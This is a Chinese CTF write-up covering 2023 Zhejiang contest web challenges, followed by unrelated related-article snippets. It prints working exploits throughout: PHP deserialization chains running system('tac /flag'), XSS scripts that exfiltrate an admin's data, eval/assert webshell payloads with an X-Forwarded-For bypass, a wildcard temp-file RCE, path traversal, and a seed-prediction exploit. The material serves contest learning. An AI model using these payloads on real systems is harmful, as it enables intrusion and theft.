第六届浙江省大学生网络与信息安全竞赛 2023年 初赛/决赛 WEB方向 Writeup
-------------------【初赛】-------------------
easy php
简单反序列化
__debuginfo()
魔术方法打印所需调试信息,反序列化时候执行!
链子如下:
BBB::__debuginfo()->CCC::__toString()->AAA::__call()
EXP:
<?php
highlight_file(__FILE__);
class AAA{public $cmd;public function __call($name, $arguments){eval($this->cmd);return "done";}
}class BBB{public $param1;public function __debuginfo(){return ['debugInfo' => 'param1' . $this->param1];}
}class CCC{public $func;public function __toString(){var_dump("aaa");$this->func->aaa();}
}$a=new BBB();
$a->param1=new CCC();$a->param1->func=new AAA();
$a->param1->func->cmd='system(\'tac /flag\');';$aaa=serialize($a);
echo $aaa;
unserialize($aaa);?>
payload:
/?aaa=O:3:"BBB":1:{s:6:"param1";O:3:"CCC":1:{s:4:"func";O:3:"AAA":1:{s:3:"cmd";s:20:"system('tac /flag');";}}}
注:这题本地运行不通,但是远程能打通。
my2do
好题好题,学学线下怎么打XSS。
源码如下:
app.js
const express = require('express');
const session = require('express-session');
const crypto = require('crypto');
const vist = require("./bot");
const multer = require('multer');
const path = require('path');const app = express();
app.set('view engine', 'ejs');
app.use(session({secret: crypto.randomBytes(16).toString('hex'),resave: false,saveUninitialized: false,cookie:{httpOnly: true}
}));
const storage = multer.diskStorage({destination: function (req, file, cb) {cb(null, 'public/uploads');},filename: function (req, file, cb) {cb(null, file.originalname);},
});const upload = multer({ storage: storage });
app.use(express.static('public'));const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD || 'YOU DONT NO IT';
const FLAG = process.env.DASFLAG || 'flag{no_flag}';const reportIpsList = new Map();
const now = ()=>Math.floor(+new Date()/1000)
const db = new Map();
db.set('admin', {password: crypto.createHash('sha256').update(ADMIN_PASSWORD, 'utf8').digest('hex'), todos: [{text: FLAG, isURL: false}]});app.get("/", function (req, res) {if (req.session.username) return res.redirect('/todo');res.render('index', {nonce: crypto.randomBytes(16).toString('hex')})
});app.get("/todo",function (req, res) {if (!req.session.username) return res.redirect('/');let username = req.session.username;res.render('todo', {nonce: crypto.randomBytes(16).toString('hex'),username: username,todos: db.get(username).todos})
});app.get("/api/logout", function (req, res) {req.session.destroy();return res.redirect('/');
});app.post("/api/todo",express.json({ type: Object }) ,function (req, res) {const { text } = req.body || req.query;if (!req.session.username) return res.json({ error: "Login first!" });let username = req.session.username;if (!db.has(username)) return res.json({ error: "User doesn't exist!" });if (!text || typeof text !== "string") {return res.json({error: "Missing text"});}let isURL = false;if (RegExp('^https?://.*$').test(text)) {isURL = true;}db.get(username).todos.push({text: text, isURL: isURL});return res.json({ success: true });
});app.post("/api/register", express.json({ type: Object }), function (req, res) {const { username, password }= req.body;if (typeof username !== 'string') return res.json({ error: "Invalid username" });if (typeof password !== 'string') return res.json({ error: "Invalid password" });if (db.has(username)) return res.json({ error: "User already exist!" });const hash = crypto.createHash('sha256').update(password, 'utf8').digest('hex');db.set(username, {password: hash, todos: []});req.session.username = username;return res.json({ success: true });
});app.post("/api/login", express.json({ type: Object }), function (req, res) {const { username, password }= req.body;if (typeof username !== 'string') return res.json({ error: "Invalid username" });if (typeof password !== 'string') return res.json({ error: "Invalid password" });if (!db.has(username)) return res.json({ error: "User doesn't exist!" });const hash = crypto.createHash('sha256').update(password, 'utf8').digest('hex');if (db.get(username)?.password !== hash) return res.json({ error: "Wrong password!" });req.session.username = username;return res.json({ success: true });
});//deving........//其实可以上传的
app.post('/api/upload', upload.single('file'), (req, res) => {return res.send('文件上传成功!');
});app.post("/api/report", express.json({ type: Object }), function (req, res) {if (!req.session.username) return res.send("Login first!");//延时if(reportIpsList.has(req.ip) && reportIpsList.get(req.ip)+90 > now()){return res.send(`Please comeback ${reportIpsList.get(req.ip)+90-now()}s later!`);}reportIpsList.set(req.ip,now());const { url } = req.body;if (typeof url !== 'string') return res.send("Invalid URL");//只能访问http://127.0.0.1/xxxxxif (!url || !RegExp('^http://127\.0\.0\.1.*$').test(url)) {return res.status(400).send('Invalid URL');}try {vist(url);return res.send("admin has visted your url");} catch {return res.send("some error!");}
});app.listen(80, () => {console.log(`app run in ${80}`)});
bot.js
const puppeteer = require("puppeteer");const SITE = process.env.SITE || 'http://localhost';
const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD || 'YOU DONT NO IT';const visit = async url => {var browser;try {browser = await puppeteer.launch({headless: true,executablePath: "/usr/bin/chromium",args: ['--no-sandbox']});page = await browser.newPage();await page.goto(SITE);await page.waitForTimeout(500);await page.type('#username', 'admin');await page.type('#password', ADMIN_PASSWORD);await page.click('#btn')await page.waitForTimeout(800);await page.goto(url);await page.waitForTimeout(3000);await browser.close();} catch (e) {console.log(e);} finally {if (browser) await browser.close();}
}module.exports = visit
可以记ToDo
,flag就是admin的ToDo
系统功能如下:
1、用户可以记录todo
2、用户可以指定http://127.0.0.1/xxx网址让admin访问
3、用户可以在
/api/upload
路由上传文件,在/upload/
路由下访问上传的文件
admin的todo数据获取方法如下(Elements
中尝试得到)
document.getElementsByClassName('has-text-left')[2].innerHTML
但是当时是内网打题,不出网带不出数据。其实是可以带出的,即使不用VPS。
思路:XSS。html中js代码获取admin的todo,并且以get参数形式访问/upload
下的另一个html文件,另一个html文件也嵌套js,接受get参数和内容(flag)并且写入/upload
路由下的1.txt
文件中
其他师傅的wp
uploads/jump.html
<!DOCTYPE html>
<html><head>
</head><body><script>location.href='http://localhost/uploads/e.html'</script>
</body></html>
uploads/e.html
<!DOCTYPE html>
<html><head>
</head><body><script>let content = ''fetch('/todo', {method: 'GET',}).then(res => {res.text().then((data) => {content = data;}).then(() => {let formdata = new FormData();let blob = new Blob([content],{type:"text/plain"});formdata.append("file",blob,"flaga");var requestOptions = {method: 'POST',body: formdata,redirect: 'follow'};fetch('/api/upload', requestOptions);})})</script>
</body></html>
先跳转改host到localhost
然后访问并上传admin的notes
最后读取/uploads/flaga
0RAY的wp
<script>if(document.domain != "localhost") {location = "http://localhost/uploads/attack.html";}else{fetch("/todo", {method: "GET", credentials: "include"}).then(res => res.text()).then(data => {var blob = new Blob([data], { type: 'text/plain' });var formData = new FormData();formData.append('file', blob, 'result.txt');fetch('/api/upload', {method: 'POST',body: formData,});});
}
</script>
can you read flag
要拿到shell很简单,写个转接头?a=eval($_POST[1])
连蚁剑或者直接getshell就行啦。
源码如下
<?php
#error_reporting(0);
$blacklist=['y','sh','print','printf','cat','tac','read','vim','curl','ftp','glob','flag','\|','`'];
foreach ($blacklist as $black) {if (stristr($_GET['a'], $black)) {die("hacker?");}}
eval($_GET['a']);
?>
难度在/flag
我们没有读取权限,但是根目录下有个可执行文件/readflag
,有权限读取flag。
我们把/readflag
丢给PWN爷爷:
int __cdecl main(int argc, const char **argv, const char **envp)
{unsigned int v3; // eaxFILE *v5; // raxint v6; // [rsp+8h] [rbp-118h] BYREFchar v7; // [rsp+Fh] [rbp-111h] BYREFchar v8[256]; // [rsp+10h] [rbp-110h] BYREFunsigned int v9; // [rsp+110h] [rbp-10h]unsigned int v10; // [rsp+114h] [rbp-Ch]int v11; // [rsp+118h] [rbp-8h]int i; // [rsp+11Ch] [rbp-4h]v3 = time(0LL);srand(v3);puts("You want flag? (y/n)");fflush(_bss_start);__isoc99_scanf("%c", &v7);if ( v7 != 121 )return 1;puts("But you need to do some calcs:");fflush(_bss_start);v11 = rand() % 101 + 100;for ( i = 0; i < v11; ++i ){v10 = rand() % 1000000;v9 = rand() % 9000000;printf("%d+%d = ?\n", v10, v9);fflush(_bss_start);__isoc99_scanf("%d", &v6);if ( v9 + v10 != v6 )return 1;}v5 = fopen("/flag", "r");__isoc99_fscanf(v5, "%s", v8);printf("here you are:%s", v8);fflush(_bss_start);return 0;
}
大概能看懂源码的意思,随机进行100-200次加法,如果都做对的就返回flag。由于没有交互式shell,我们不能一次次的输入,只能一次性把答案都输入进去。(反弹shell得到的shell是交互式的,蚁剑虚拟终端不是)
随机数种子是时间,秒为单位,可以预测一次性echo进去拿到flag。
来自0RAY的wp:
/tmp/src目录下可以发现题目
/readflag
的源码,其随机数生成有缺陷,种子是time(0),因此可以写一个c语言程序,得到10秒之后的结果,输出到文件里,再将文件重定向给/readflag,即可通过计算题检查
构造的exp.c
文件
int main(){unsigned int v3 = time(0)+10;unsigned int v9;unsigned int v10;srand(v3);int v11 = rand() % 101 + 100;printf("y\n");for (int i = 0; i < v11; ++i){v10 = rand() % 1000000;v9 = rand() % 9000000;printf("%d\n", v10+v9);}
}
由于根目录我们无写入权限,因此我们把exp
文件写入/tmp
目录下。复现环境是自己的vps。
命令如下:
gcc -o exp exp.c
ls
./exp > a
/readflag<a
/readflag<a
/readflag<a
...
一直输入这个命令
...
/readflag<a
以上的命令需要连贯执行。
顺便解释一下:
我们初始的c
脚本时间种子是十秒后,在哪个的十秒后呢?不是执行之后的第十秒,是编译后的第十秒。编译后运行,把结果导出到文件a
,然后我们一直把a文件中的内容重定向到可执行文件/readflag
(传递给某个程序或脚本进行处理)。
MISC-number game
Ctrl+U查看源码,有一个js文件,js源码有加密。
放到本地,分析一下
没看懂游戏的意思,但是源码意思大概能看懂一点。flag应该是通过roll函数中的alert()
输出,但是有if,限制了条件。
我们把if去掉。放到题目控制台跑一下,出flag。
secObj***
题目给了jar包,大头哥做了环境。之后复现。。。
https://mp.weixin.qq.com/s/BWIae7s8QP6KE0jq_IM5JA
文件上传当时没出,后缀限制一直过不去。
-------------------【决赛】-------------------
p2rce
源码给了。
<?php
error_reporting(0);class CCC {public $c;public $a;public $b;public function __destruct(){$this->a = 'flag';if($this->a === $this->b) {echo $this->c;}}
}class AAA {public $s;public $a;public function __toString(){$p = $this->a;return $this->s->$p;}
}class BBB {private $b;public function __get($name){if (is_string($this->b) && !preg_match("/[A-Za-z0-9_$]+/", $this->b)) {global $flag;$flag = $this->b;return 'ok';} else {return '<br/>get it!!'; }}
}if(isset($_GET['ctf'])) {if(preg_match('/flag/i', $_GET['ctf'])) {die('nonono');}$a = unserialize($_GET['ctf']);system($flag);throw new Exception("goaway!!!");
} else {highlight_file(__FILE__);
}
反序列化需要注意使用GC回收机制
、过滤flag,用变量引用
给个EXP:
<?php
error_reporting(0);class CCC {public $c;public $a;public $b;public function __destruct()//1{$this->a = 'flag';if($this->a === $this->b) {echo $this->c;}}
}class AAA {public $s;public $a;public function __toString()//2{$p = $this->a;return $this->s->$p;}
}class BBB {public $b;public function __get($name){if (is_string($this->b) && !preg_match("/[A-Za-z0-9_$]+/", $this->b)) {global $flag;$flag = $this->b; //要执行的命令return 'ok';} else {return '<br/>get it!!';}}
}//GC回收机制
//过滤flag,用变量引用$a=new CCC();
$a->a=&$a->b;$a->c=new AAA();
$a->c->s=new BBB();
$a->c->a='c';
$a->c->s->b='/???/????????[@-[]'; //匹配/tmp/phpxxxxxxecho serialize($a);unserialize($a);
剩下的参考我下面这篇wp:
-----------------------------------------------【私教web13】-----------------------------------------------
直接给了源码。
他是命令执行不是代码执行,不能进行异或/拼接等操作。
【强制文件上传下的无字母数字RCE】
这题考PHP强制文件上传机制。
PHP超全局变量如下
$_GET //存放所有GET请求
$_POST
$_SERVER
$_COOKIE
$_SESSION
$_FILES //存放所有文件
在PHP中,强制上传文件时,文件会被存在临时文件/tmp/phpxxxxxx中
这个文件最后六位xxxxxx有大小写字母、数字组成,是生命周期只在PHP代码运行时。
题目中正则匹配过滤了大小写字母(i)和数字。
故我们要匹配/tmp/phpxxxxxx的话可以用通配符/???/???
/???/???范围太大了,我们如何缩小范围呢。
查看ascii码表,A前面是@,Z后面是[
/???/???[@-[]
就表示了最后一位是大写
当临时文件最后一位是大写字母时/???/????????[@-[]
就能匹配到这个文件
linux中 . 代表执行一个文件。
如果上传的文件是一个shell脚本,那么. /???/???[@-[]就能执行这个shell脚本,实现RCE。
如何强制上传文件?
我们可以在vps上写一个表单文件
upload.html
<form action="http://6741a41b-173c-4a20-9a15-be885b3344de.challenges.ctfer.com:8080/" enctype="multipart/form-data" method="post" ><input name="file" type="file" /><input type="submit" type="gogogo!" /></form>
访问vps上的upload.html
上传内容为whoami
的txt文件。同时抓包。
改一下包。发现能正常执行了,并且返回了结果。
获得flag。(成功的概率,就是最后一位是大写的概率是26/26+26+10,多发几次包就行了)
-----------------------------------------------【私教web13】-----------------------------------------------
easy serialize
开局给源码:
<?php
//flag is in /flag.php
error_reporting(0);
class baby{public $var;public $var2;public $var3;public function learn($key){echo 222;echo file_get_contents(__DIR__.$key);//$key=flag}public function getAge(){//2return $this->var2->var3;}//__isset(),当对不可访问属性调用isset()或empty()时调用public function __isset($var){$this->learn($var);}//__invoke(),调用函数的方式调用一个对象时的回应方法public function __invoke(){return $this->learn($this->var);}public function __wakeup(){//1$this->getAge();}
}class young{public $var;public function __toString(){return ($this->var)();}
}class old{public $var;public function __get($key){echo 111;return "Okay, you get the key, but we send you ".$this->var;}
}
POP链如下:
baby::__wakeup()->
baby::getAge()->
old::__get->
young::__toString()->
baby::__invoke()->
baby::learn($key)
EXP如下:
<?php
//flag is in /flag.php
error_reporting(0);
class baby{public $var;public $var2;public $var3;public function learn($key){echo 222;echo file_get_contents(__DIR__.$key);//$key=flag}public function getAge(){//2return $this->var2->var3;}//__isset(),当对不可访问属性调用isset()或empty()时调用public function __isset($var){$this->learn($var);}//__invoke(),调用函数的方式调用一个对象时的回应方法public function __invoke(){return $this->learn($this->var);}public function __wakeup(){//1$this->getAge();}
}class young{public $var;public function __toString(){return ($this->var)();}
}class old{public $var;public function __get($key){echo 111;return "Okay, you get the key, but we send you ".$this->var;}
}//baby::__wakeup()->
//baby::getAge()->
//old::__get->
//young::__toString()->
//baby::__invoke()->
//baby::learn($key)$a=new baby();
$a->var2=new old();
$a->var3='xxx';$a->var2->var=new young();$a->var2->var->var=new baby();$a->var2->var->var->var='/../../../../../../var/www/html/flag.php';$b=serialize($a);
echo $b;
unserialize($b);?>
注意点:__DIR__
是当前目录,测试代码如下:
带入反序列化中存在目录穿越漏洞。
payload:
?age=O:4:"baby":3:{s:3:"var";N;s:4:"var2";O:3:"old":1:{s:3:"var";O:5:"young":1:{s:3:"var";O:4:"baby":3:{s:3:"var";s:40:"/../../../../../../var/www/html/flag.php";s:4:"var2";N;s:4:"var3";N;}}}s:4:"var3";s:3:"xxx";}
flag在源码里面:
baby md5
直接给了源码:
index.php
<?php
error_reporting(0);
require_once 'check.php';if (isRequestFromLocal()) {echo 'hello!';$a = $_GET['cmd'];$b = $_GET['key1'];$c = $_GET['key2'];if(!preg_match("/eval|shell_exec|system|proc_open|popen|pcntl_exec|\'|cat|include|whoami/i",$a)){if(md5($b) == md5($c)){eval($a);}}else{echo 'Oh no, you are hacker!!!';}
} else {die("failed");
}
?>
check.php:
<?php
error_reporting(0);
function isRequestFromLocal() {// 定义本地IP地址$localIP = '127.0.0.1';// 获取客户端IP地址$clientIP = $_SERVER['HTTP_X_FORWARDED_FOR'];// 比较客户端IP地址与本地IP地址if ($clientIP === $localIP) {// 请求来自本地return true;} else {// 请求不来自本地return false;}
}
?>
写个转接头就没有限制了。
payload:
GET:?cmd=assert($_POST[1]);
POST:key1[]=1&key2[]=3&1=system('tac /flag');
X-Forwarded-For:127.0.0.1
babybabyweb
有点点脑洞。。。
开局是个登录界面
随便一个用户名aaa
登录后,会显示我们不是admin。应该是身份伪造。
访问一下/admin
路由,发现我们的cookie变了,但是还是不能变成admin身份,估计就是把我们cookie里面带有的信息中的名字改成admin。
尝试解密cookie:gASVLgAAAAAAAACMA2FwcJSMBFVzZXKUk5QpgZR9lCiMBG5hbWWUjANhYWGUjAVhZG1pbpSJdWIu
发现不能完全解密或者是解密后的明文中带有不可见字符:
从解密后的零零散散的信息中看出cookie携带的信息其实没变。。。。
好奇他的工作原理。如何解密成为了一个问题。赛后问了0RAYS的师傅,cookie是pickle反序列化后base64编码的字符串,可以直接执行命令。。。。
好吧,我认,唯一能推断是pickle反序列化的估计就是解密后的明文中带有不可见字符
了吧。
0RAY的wp:
base64 解码后明显是 pickle 序列化的数据,直接打个 pickle 反序列化 rce 即可
内网和题目是通的,本地
python -m http.server 4444
开个监听然后生成的 cookie 替换下发过去即可 rce 外带出 flag
Server-Side Read File***
一个java题。绕过云waf、SSRF、目录穿越、本地文件读取。
https://mp.weixin.qq.com/s/aG8MxxIslpFmI3WE15jC3Q
easy sql***
题目描述:端口号:8081。mysql8注入
登陆界面可以万能密码登录,有过滤,fuzz如下:
ezWEB***
300分的困难java。
相关文章:

第六届浙江省大学生网络与信息安全竞赛 2023年 初赛/决赛 WEB方向 Writeup
-------------------【初赛】------------------- easy php 简单反序列化 __debuginfo()魔术方法打印所需调试信息,反序列化时候执行! 链子如下: BBB::__debuginfo()->CCC::__toString()->AAA::__call()EXP: <?php…...

设计模式篇---装饰模式
文章目录 概念结构实例总结 概念 装饰模式:动态的给一个对象增加一些额外的职责。就扩展功能而言,装饰模式提供了 一种比使用子类更加灵活的替代方案。 装饰模式是一种对象结构型模式,它以对客户透明的方式动态地给一个对象附加上更多的责任…...

JAXB:根据Java文件生成XML schema文件
说明 JAXB有个schemagen脚本,可以根据Java文件生成XML schema。这个工具在JAXB独立发布包中有,可以从官网下载JAXB的独立发布包: https://eclipse-ee4j.github.io/jaxb-ri/ 示例 使用schemagen -d <path> <java files>格式 …...

opencv(5): 滤波器
滤波的作用:一幅图像通过滤波器得到另一幅图像;其中滤波器又称为卷积核,滤波的过程称为卷积。 锐化:边缘变清晰 低通滤波(Low-pass Filtering): 目标:去除图像中的高频成分&#…...

《微信小程序开发从入门到实战》学习二十二
3.3 开发创建投票页面 3.3.10 使用switch开关组件 用switch开关组件增加一个设置是否匿名投票的功能。 switch常用属性如下: checked 开还是关,默认false关 disabled 是否禁用,默认false不禁用࿰…...
LLM模型-讯飞星火与百度文心api调用
spark-wenxin 1-讯飞星火1_1-SparkApi.py1_2- Chat_spark.py1_3-调用api 2-百度文心2_1.code 3-两者之间比较与openai 1-讯飞星火 进入讯飞官网进行创建应用,获取相关密钥APPID,APISecret,APIKey,选择最新版本 首次调用讯飞官方a…...

AIGC ChatGPT 4 将数据接口文件使用Python进行入库Mysql
数据分析,数据处理的过程,往往将采集到的数据,或者从生产库过来的接口文件,我们都需要进行入库操作。 如下图数据: 将这样的数据接口文件,进行入库,插入到Mysql数据库中。 用Python代码来完成。 ChatGPT4来完成代码输入。 ChatGPT4完整内容如下: 这个任务可以使用`…...

Loguru:一个超酷的Python库
在项目中,了解代码运行情况至关重要,特别是遇到Bug需要排除问题的时候,而这正是日志记录发挥作用的地方。对于Python开发者来说,Loguru是一个简单但功能强大的日志记录库,它使得跟踪代码的行为变得轻松而高效。 什么是…...
cloud的概念
"Cloud"(云)通常指的是云计算(cloud computing)领域。云计算是一种通过网络(通常是互联网)提供计算资源和服务的模型。这些计算资源包括计算能力、存储空间、数据库、网络、分析能力等。云计算模…...

物联网赋能:WIFI HaLow在无线连接中的优势
在探讨无线网络连接时,我们不难发现,WIFI已经成为我们日常生活中不可或缺的一部分,承载了半数以上的互联网流量,并在家庭、学校、娱乐场所等各种场合广泛应用。然而,尽管WIFI4、WIFI5和WIFI6等协议无处不在,…...

淘宝商品详情数据接口(Taobao.item_get)
淘宝商品详情接口是一种程序化的接口,允许开发者根据商品ID或商品链接,获取淘宝平台上的商品详细信息。通过这个接口,开发者可以方便地获取商品的标题、价格、销量、描述等数据,进而提供给用户进行展示和购买。 使用淘宝商品详情…...

视频剪辑方法:一键批量调整色调的高效技巧
在视频剪辑的过程中,色调调整是一项非常重要的工作。它能够改变影片的氛围、情感和视觉效果,更好地沉浸在影片的情境中。然而,对于许多视频剪辑师来说,批量调整色调是一项非常繁琐的任务,需要耗费大量的时间和精力。色…...

NAS层协议栈学习笔记
NAS(Non-Access Stratum)是无线网络中非接入层及包括移动性管理(MM)和会话管理(SM)协议 ,在5G(NR)系统中连接管理(Connection Management)用于建立和释放UE与AMF之间的控制面(CP)信令连接。 5G中移动性管理是通过NAS信令在UE与核心网之间进行交互的,连接…...
前端食堂技术周刊第 105 期:TS 5.3 RC、Vite 5.0、W3C 新任 CEO、有害的 Pinia 模式、2024 更快的 Web
美味值:🌟🌟🌟🌟🌟 口味:金桂普洱 食堂技术周刊仓库地址:https://github.com/Geekhyt/weekly 大家好,我是童欧巴。欢迎来到前端食堂技术周刊,我们先来看下…...
jenkins 使用原生 git clone 命令,指定ssh密钥文件
使用环境变量 GIT_SSH_COMMAND 从Git版本2.3.0可以使用环境变量GIT_SSH_COMMAND,如下所示: GIT_SSH_COMMAND"ssh -i ~/.ssh/id_rsa_example" git clone example请注意,-i有时可以被您的配置文件覆盖,在这种情况下&…...
cobol数据类型
数据类型 数据部(data division)是用来描述程序中使用的变量的。 data name 数据名称 数据名称必须在数据部中定义,才能在过程部中使用。必须有一个用户自定义的名称,不能使用关键字,为存储实际数据的存储单元提供引…...

Java Web——JS中的BOM
1. Web API概述 Web API 是指浏览器提供的一套接口,这些接口允许开发人员使用 JavaScript(JS)来操作浏览器功能和页面元素。通过 Web API,开发人员可以与浏览器进行交互,以实现更复杂的功能和效果。 1.1. 初识Web AP…...

三十分钟学会Hive
Hive的概念与运用 Hive 是一个构建在Hadoop 之上的数据分析工具(Hive 没有存储数据的能力,只有使用数据的能力),底层由 HDFS 来提供数据存储,可以将结构化的数据文件映射为一张数据库表,并且提供类似 SQL …...
云计算发展
云计算,作为当今信息技术领域的核心力量,正在快速推动着我们社会的数字化转型。从智能家居到无人驾驶,从虚拟现实到人工智能,云计算的应用无处不在,它不仅仅是一个技术概念,更是一种全新的生活方式。在这个…...

vulhub redis-4-unacc
环境搭建 cd vulhub/redis/4-unacc docker-compose up -d 漏洞复现 检测 redis-cli -h ip 使用redis工具 工具地址:https://github.com/vulhub/redis-rogue-getshell 下载完成后,先进入RedisModulesSDK/exp/ 目录进行make操作 获得exp.so后可以进行…...

ESP32 I2S音频总线学习笔记(四): INMP441采集音频并实时播放
简介 前面两期文章我们介绍了I2S的读取和写入,一个是通过INMP441麦克风模块采集音频,一个是通过PCM5102A模块播放音频,那如果我们将两者结合起来,将麦克风采集到的音频通过PCM5102A播放,是不是就可以做一个扩音器了呢…...

HarmonyOS运动开发:如何用mpchart绘制运动配速图表
##鸿蒙核心技术##运动开发##Sensor Service Kit(传感器服务)# 前言 在运动类应用中,运动数据的可视化是提升用户体验的重要环节。通过直观的图表展示运动过程中的关键数据,如配速、距离、卡路里消耗等,用户可以更清晰…...

Java后端检查空条件查询
通过抛出运行异常:throw new RuntimeException("请输入查询条件!");BranchWarehouseServiceImpl.java // 查询试剂交易(入库/出库)记录Overridepublic List<BranchWarehouseTransactions> queryForReagent(Branch…...
简单介绍C++中 string与wstring
在C中,string和wstring是两种用于处理不同字符编码的字符串类型,分别基于char和wchar_t字符类型。以下是它们的详细说明和对比: 1. 基础定义 string 类型:std::string 字符类型:char(通常为8位)…...
__VUE_PROD_HYDRATION_MISMATCH_DETAILS__ is not explicitly defined.
这个警告表明您在使用Vue的esm-bundler构建版本时,未明确定义编译时特性标志。以下是详细解释和解决方案: 问题原因: 该标志是Vue 3.4引入的编译时特性标志,用于控制生产环境下SSR水合不匹配错误的详细报告1使用esm-bundler…...

电脑定时关机工具推荐
软件介绍 本文介绍一款轻量级的电脑自动关机工具,无需安装,使用简单,可满足定时关机需求。 工具简介 这款关机助手是一款无需安装的小型软件,文件体积仅60KB,下载后可直接运行,无需复杂配置。 使用…...
分布式计算框架学习笔记
一、🌐 为什么需要分布式计算框架? 资源受限:单台机器 CPU/GPU 内存有限。 任务复杂:模型训练、数据处理、仿真并发等任务耗时严重。 并行优化:通过任务拆分和并行执行提升效率。 可扩展部署:适配从本地…...

NoSQL——Redis配置与优化
目录 关系型&非关系型数据库 一、核心原理对比 二、核心特性对比 三、关键区别剖析 四、典型产品示例 总结 Redis Redis核心原理 核心特性 技术意义 配置文件解析 1. 基础配置 2. 持久化配置 3. 内存管理 4. 高可用配置 5. 性能调优 6.…...

Git 使用大全:从入门到精通
Git 是目前最流行的分布式版本控制系统,被广泛应用于软件开发中。本文将全面介绍 Git 的各种功能和使用方法,包含大量代码示例和实践建议。 文章目录 Git 基础概念版本控制系统Git 的特点Git 的三个区域Git 文件状态 Git 安装与配置安装 GitLinuxmacOSWi…...

CodeBuddy一腾讯内部已有超过 85% 的程序员正在使用de编程工具
大家好,我是程序员500佰,目前正在前往独立开发路线,我会在这里分享关于编程技术、独立开发、技术资讯以及编程感悟等内容。 如果本文能给你提供启发和帮助,还请留下你的一健三连,给我一些鼓励,谢谢。 本文直…...